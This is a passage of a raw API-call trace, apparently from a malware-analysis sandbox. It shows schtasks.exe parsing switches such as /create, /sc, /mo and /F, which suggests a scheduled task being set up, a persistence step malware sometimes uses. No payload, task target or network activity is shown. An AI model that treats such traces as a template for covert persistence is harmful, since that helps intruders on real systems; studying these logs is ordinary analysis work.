8 [0055.390] lstrlenW (lpString="|mo|") returned 4 [0055.390] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0055.390] SetLastError (dwErrCode=0x490) [0055.390] lstrlenW (lpString="query") returned 5 [0055.390] lstrlenW (lpString="query") returned 5 [0055.390] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.390] lstrlenW (lpString="mo") returned 2 [0055.390] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.390] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x8, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|query|") returned 7 [0055.390] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|mo|") returned 4 [0055.391] lstrlenW (lpString="|query|") returned 7 [0055.391] lstrlenW (lpString="|mo|") returned 4 [0055.391] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0055.391] SetLastError (dwErrCode=0x490) [0055.391] lstrlenW (lpString="change") returned 6 [0055.391] lstrlenW (lpString="change") returned 6 [0055.391] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.391] lstrlenW (lpString="mo") returned 2 [0055.391] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.391] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|change|") returned 8 [0055.391] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|mo|") returned 4 [0055.391] lstrlenW (lpString="|change|") returned 8 [0055.391] lstrlenW (lpString="|mo|") returned 4 [0055.391] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0055.391] SetLastError (dwErrCode=0x490) [0055.391] lstrlenW (lpString="run") returned 3 [0055.391] lstrlenW (lpString="run") returned 3 [0055.391] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.391] lstrlenW (lpString="mo") returned 2 [0055.391] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.391] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x6, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|run|") returned 5 [0055.391] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|mo|") returned 4 [0055.391] lstrlenW (lpString="|run|") returned 5 [0055.391] lstrlenW (lpString="|mo|") returned 4 [0055.394] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0055.395] SetLastError (dwErrCode=0x490) [0055.395] lstrlenW (lpString="end") returned 3 [0055.395] lstrlenW (lpString="end") returned 3 [0055.395] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.395] lstrlenW (lpString="mo") returned 2 [0055.395] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.395] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x6, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|end|") returned 5 [0055.395] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|mo|") returned 4 [0055.395] lstrlenW (lpString="|end|") returned 5 [0055.395] lstrlenW (lpString="|mo|") returned 4 [0055.395] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0055.395] SetLastError (dwErrCode=0x490) [0055.395] lstrlenW (lpString="showsid") returned 7 [0055.395] lstrlenW (lpString="showsid") returned 7 [0055.395] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.395] lstrlenW (lpString="mo") returned 2 [0055.395] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.395] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0xa, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|showsid|") returned 9 [0055.395] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|mo|") returned 4 [0055.395] lstrlenW (lpString="|showsid|") returned 9 [0055.395] lstrlenW (lpString="|mo|") returned 4 [0055.395] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0055.395] SetLastError (dwErrCode=0x490) [0055.395] SetLastError (dwErrCode=0x490) [0055.395] SetLastError (dwErrCode=0x0) [0055.395] lstrlenW (lpString="/mo") returned 3 [0055.395] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0055.395] SetLastError (dwErrCode=0x490) [0055.395] SetLastError (dwErrCode=0x0) [0055.395] lstrlenW (lpString="/mo") returned 3 [0055.396] SetLastError (dwErrCode=0x0) [0055.396] SetLastError (dwErrCode=0x0) [0055.396] lstrlenW (lpString="2") returned 1 [0055.396] SetLastError (dwErrCode=0x490) [0055.396] SetLastError (dwErrCode=0x0) [0055.396] lstrlenW (lpString="2") returned 1 [0055.396] StrChrIW (lpStart="2", wMatch=0x3a) returned 0x0 [0055.396] SetLastError (dwErrCode=0x490) [0055.396] SetLastError (dwErrCode=0x0) [0055.396] lstrlenW (lpString="2") returned 1 [0055.396] SetLastError (dwErrCode=0x0) [0055.396] SetLastError (dwErrCode=0x0) [0055.396] lstrlenW (lpString="/F") returned 2 [0055.396] lstrlenW (lpString="-/") returned 2 [0055.396] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0055.396] lstrlenW (lpString="?") returned 1 [0055.396] lstrlenW (lpString="?") returned 1 [0055.396] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.396] lstrlenW (lpString="F") returned 1 [0055.396] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.396] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|?|") returned 3 [0055.396] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|F|") returned 3 [0055.396] lstrlenW (lpString="|?|") returned 3 [0055.396] lstrlenW (lpString="|F|") returned 3 [0055.396] StrStrIW (lpFirst="|?|", lpSrch="|F|") returned 0x0 [0055.396] SetLastError (dwErrCode=0x490) [0055.396] lstrlenW (lpString="create") returned 6 [0055.396] lstrlenW (lpString="create") returned 6 [0055.396] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.396] lstrlenW (lpString="F") returned 1 [0055.396] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.397] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|create|") returned 8 [0055.397] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|F|") returned 3 [0055.397] lstrlenW (lpString="|create|") returned 8 [0055.397] lstrlenW (lpString="|F|") returned 3 [0055.397] StrStrIW (lpFirst="|create|", lpSrch="|F|") returned 0x0 [0055.397] SetLastError (dwErrCode=0x490) [0055.397] lstrlenW (lpString="delete") returned 6 [0055.397] lstrlenW (lpString="delete") returned 6 [0055.397] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.397] lstrlenW (lpString="F") returned 1 [0055.397] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.397] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|delete|") returned 8 [0055.397] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|F|") returned 3 [0055.397] lstrlenW (lpString="|delete|") returned 8 [0055.397] lstrlenW (lpString="|F|") returned 3 [0055.397] StrStrIW (lpFirst="|delete|", lpSrch="|F|") returned 0x0 [0055.397] SetLastError (dwErrCode=0x490) [0055.397] lstrlenW (lpString="query") returned 5 [0055.397] lstrlenW (lpString="query") returned 5 [0055.397] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.397] lstrlenW (lpString="F") returned 1 [0055.397] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.397] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x8, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|query|") returned 7 [0055.397] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|F|") returned 3 [0055.397] lstrlenW (lpString="|query|") returned 7 [0055.397] lstrlenW (lpString="|F|") returned 3 [0055.397] StrStrIW (lpFirst="|query|", lpSrch="|F|") returned 0x0 [0055.397] SetLastError (dwErrCode=0x490) [0055.397] lstrlenW (lpString="change") returned 6 [0055.397] lstrlenW (lpString="change") returned 6 [0055.397] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.397] lstrlenW (lpString="F") returned 1 [0055.397] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.398] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|change|") returned 8 [0055.398] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|F|") returned 3 [0055.398] lstrlenW (lpString="|change|") returned 8 [0055.398] lstrlenW (lpString="|F|") returned 3 [0055.398] StrStrIW (lpFirst="|change|", lpSrch="|F|") returned 0x0 [0055.398] SetLastError (dwErrCode=0x490) [0055.398] lstrlenW (lpString="run") returned 3 [0055.398] lstrlenW (lpString="run") returned 3 [0055.398] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.398] lstrlenW (lpString="F") returned 1 [0055.398] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.398] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x6, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|run|") returned 5 [0055.398] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|F|") returned 3 [0055.398] lstrlenW (lpString="|run|") returned 5 [0055.398] lstrlenW (lpString="|F|") returned 3 [0055.398] StrStrIW (lpFirst="|run|", lpSrch="|F|") returned 0x0 [0055.398] SetLastError (dwErrCode=0x490) [0055.398] lstrlenW (lpString="end") returned 3 [0055.398] lstrlenW (lpString="end") returned 3 [0055.398] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.398] lstrlenW (lpString="F") returned 1 [0055.398] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.398] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x6, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|end|") returned 5 [0055.398] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|F|") returned 3 [0055.398] lstrlenW (lpString="|end|") returned 5 [0055.398] lstrlenW (lpString="|F|") returned 3 [0055.398] StrStrIW (lpFirst="|end|", lpSrch="|F|") returned 0x0 [0055.398] SetLastError (dwErrCode=0x490) [0055.398] lstrlenW (lpString="showsid") returned 7 [0055.398] lstrlenW (lpString="showsid") returned 7 [0055.398] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.398] lstrlenW (lpString="F") returned 1 [0055.398] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.399] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0xa, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|showsid|") returned 9 [0055.399] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|F|") returned 3 [0055.399] lstrlenW (lpString="|showsid|") returned 9 [0055.399] lstrlenW (lpString="|F|") returned 3 [0055.399] StrStrIW (lpFirst="|showsid|", lpSrch="|F|") returned 0x0 [0055.399] SetLastError (dwErrCode=0x490) [0055.399] SetLastError (dwErrCode=0x490) [0055.399] SetLastError (dwErrCode=0x0) [0055.399] lstrlenW (lpString="/F") returned 2 [0055.399] StrChrIW (lpStart="/F", wMatch=0x3a) returned 0x0 [0055.399] SetLastError (dwErrCode=0x490) [0055.399] SetLastError (dwErrCode=0x0) [0055.399] lstrlenW (lpString="/F") returned 2 [0055.399] SetLastError (dwErrCode=0x0) [0055.402] SetLastError (dwErrCode=0x0) [0055.402] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0055.402] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0055.402] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0055.402] VerifyVersionInfoW (in: lpVersionInformation=0xec500, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xec500) returned 1 [0055.402] SetLastError (dwErrCode=0x0) [0055.402] lstrlenW (lpString="create") returned 6 [0055.402] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0055.402] SetLastError (dwErrCode=0x490) [0055.402] SetLastError (dwErrCode=0x0) [0055.402] lstrlenW (lpString="create") returned 6 [0055.402] _memicmp (_Buf1=0x1bd5b0, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.402] SetLastError (dwErrCode=0x0) [0055.402] _memicmp (_Buf1=0x1bbb00, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.402] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1bbca0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0055.402] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0055.403] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x1bedb0 | out: lpData=0x1bedb0) returned 1 [0055.403] VerQueryValueW (in: pBlock=0x1bedb0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xec5e8, puLen=0xec650 | out: lplpBuffer=0xec5e8*=0x1bf14c, puLen=0xec650) returned 1 [0055.403] _memicmp (_Buf1=0x1bbb00, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.403] _vsnwprintf (in: _Buffer=0x1bbca0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xec5c8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0055.403] VerQueryValueW (in: pBlock=0x1bedb0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xec658, puLen=0xec648 | out: lplpBuffer=0xec658*=0x1bef78, puLen=0xec648) returned 1 [0055.403] lstrlenW (lpString="schtasks.exe") returned 12 [0055.403] lstrlenW (lpString="schtasks.exe") returned 12 [0055.403] lstrlenW (lpString=".EXE") returned 4 [0055.403] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0055.403] lstrlenW (lpString="schtasks.exe") returned 12 [0055.403] lstrlenW (lpString=".EXE") returned 4 [0055.403] lstrlenW (lpString="schtasks") returned 8 [0055.403] lstrlenW (lpString="/create") returned 7 [0055.403] _memicmp (_Buf1=0x1bbb00, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.403] _vsnwprintf (in: _Buffer=0x1bbca0, _BufferCount=0x19, _Format="%s %s", _ArgList=0xec5c8 | out: _Buffer="schtasks /create") returned 16 [0055.403] _memicmp (_Buf1=0x1bbb20, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.404] _memicmp (_Buf1=0x1bbb40, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.404] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1bd330, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0055.404] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0055.404] _vsnwprintf (in: _Buffer=0x1bc0a0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xec5c8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0055.404] SetLastError (dwErrCode=0x0) [0055.404] GetThreadLocale () returned 0x409 [0055.404] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.404] lstrlenW (lpString="create") returned 6 [0055.404] GetThreadLocale () returned 0x409 [0055.404] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.404] lstrlenW (lpString="?") returned 1 [0055.404] GetThreadLocale () returned 0x409 [0055.404] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.404] lstrlenW (lpString="s") returned 1 [0055.404] GetThreadLocale () returned 0x409 [0055.404] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.404] lstrlenW (lpString="u") returned 1 [0055.404] GetThreadLocale () returned 0x409 [0055.404] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.404] lstrlenW (lpString="p") returned 1 [0055.404] GetThreadLocale () returned 0x409 [0055.404] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.404] lstrlenW (lpString="ru") returned 2 [0055.404] GetThreadLocale () returned 0x409 [0055.404] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.404] lstrlenW (lpString="rp") returned 2 [0055.405] GetThreadLocale () returned 0x409 [0055.405] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.405] lstrlenW (lpString="sc") returned 2 [0055.405] GetThreadLocale () returned 0x409 [0055.405] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.405] lstrlenW (lpString="mo") returned 2 [0055.405] GetThreadLocale () returned 0x409 [0055.405] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.405] lstrlenW (lpString="d") returned 1 [0055.405] GetThreadLocale () returned 0x409 [0055.405] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.405] lstrlenW (lpString="m") returned 1 [0055.405] GetThreadLocale () returned 0x409 [0055.405] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.405] lstrlenW (lpString="i") returned 1 [0055.405] GetThreadLocale () returned 0x409 [0055.405] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.405] lstrlenW (lpString="tn") returned 2 [0055.405] GetThreadLocale () returned 0x409 [0055.405] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.405] lstrlenW (lpString="tr") returned 2 [0055.405] GetThreadLocale () returned 0x409 [0055.405] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.405] lstrlenW (lpString="st") returned 2 [0055.405] GetThreadLocale () returned 0x409 [0055.405] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.405] lstrlenW (lpString="sd") returned 2 [0055.405] GetThreadLocale () returned 0x409 [0055.405] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.405] lstrlenW (lpString="ed") returned 2 [0055.405] GetThreadLocale () returned 0x409 [0055.405] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.405] lstrlenW (lpString="it") returned 2 [0055.405] GetThreadLocale () returned 0x409 [0055.405] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.405] lstrlenW (lpString="et") returned 2 [0055.405] GetThreadLocale () returned 0x409 [0055.406] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.406] lstrlenW (lpString="k") returned 1 [0055.406] GetThreadLocale () returned 0x409 [0055.406] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.406] lstrlenW (lpString="du") returned 2 [0055.406] GetThreadLocale () returned 0x409 [0055.406] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.406] lstrlenW (lpString="ri") returned 2 [0055.406] GetThreadLocale () returned 0x409 [0055.406] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.406] lstrlenW (lpString="z") returned 1 [0055.406] GetThreadLocale () returned 0x409 [0055.406] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.406] lstrlenW (lpString="f") returned 1 [0055.406] GetThreadLocale () returned 0x409 [0055.406] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.406] lstrlenW (lpString="v1") returned 2 [0055.406] GetThreadLocale () returned 0x409 [0055.406] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.406] lstrlenW (lpString="xml") returned 3 [0055.406] GetThreadLocale () returned 0x409 [0055.406] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.406] lstrlenW (lpString="ec") returned 2 [0055.406] GetThreadLocale () returned 0x409 [0055.406] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.406] lstrlenW (lpString="rl") returned 2 [0055.406] GetThreadLocale () returned 0x409 [0055.406] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.406] lstrlenW (lpString="delay") returned 5 [0055.406] GetThreadLocale () returned 0x409 [0055.406] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0055.406] lstrlenW (lpString="np") returned 2 [0055.406] SetLastError (dwErrCode=0x0) [0055.406] SetLastError (dwErrCode=0x0) [0055.406] lstrlenW (lpString="/create") returned 7 [0055.406] lstrlenW (lpString="-/") returned 2 [0055.406] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0055.407] lstrlenW (lpString="create") returned 6 [0055.407] lstrlenW (lpString="create") returned 6 [0055.407] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.407] lstrlenW (lpString="create") returned 6 [0055.407] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.407] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|create|") returned 8 [0055.407] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x9, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|create|") returned 8 [0055.407] lstrlenW (lpString="|create|") returned 8 [0055.407] lstrlenW (lpString="|create|") returned 8 [0055.407] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0055.433] SetLastError (dwErrCode=0x0) [0055.433] SetLastError (dwErrCode=0x0) [0055.433] SetLastError (dwErrCode=0x0) [0055.433] lstrlenW (lpString="/sc") returned 3 [0055.433] lstrlenW (lpString="-/") returned 2 [0055.433] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0055.433] lstrlenW (lpString="create") returned 6 [0055.433] lstrlenW (lpString="create") returned 6 [0055.433] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.433] lstrlenW (lpString="sc") returned 2 [0055.433] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.433] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|create|") returned 8 [0055.433] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|sc|") returned 4 [0055.433] lstrlenW (lpString="|create|") returned 8 [0055.433] lstrlenW (lpString="|sc|") returned 4 [0055.433] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0055.433] SetLastError (dwErrCode=0x490) [0055.433] lstrlenW (lpString="?") returned 1 [0055.434] lstrlenW (lpString="?") returned 1 [0055.434] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.434] lstrlenW (lpString="sc") returned 2 [0055.434] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.434] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|?|") returned 3 [0055.434] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|sc|") returned 4 [0055.434] lstrlenW (lpString="|?|") returned 3 [0055.434] lstrlenW (lpString="|sc|") returned 4 [0055.434] SetLastError (dwErrCode=0x490) [0055.434] lstrlenW (lpString="s") returned 1 [0055.434] lstrlenW (lpString="s") returned 1 [0055.434] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.434] lstrlenW (lpString="sc") returned 2 [0055.434] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.434] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|s|") returned 3 [0055.434] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|sc|") returned 4 [0055.434] lstrlenW (lpString="|s|") returned 3 [0055.434] lstrlenW (lpString="|sc|") returned 4 [0055.434] SetLastError (dwErrCode=0x490) [0055.434] lstrlenW (lpString="u") returned 1 [0055.434] lstrlenW (lpString="u") returned 1 [0055.434] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.434] lstrlenW (lpString="sc") returned 2 [0055.434] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.434] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|u|") returned 3 [0055.434] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xec5d8 | out: _Buffer="|sc|") returned 4 [0055.434] lstrlenW (lpString="|u|") returned 3 [0055.434] lstrlenW 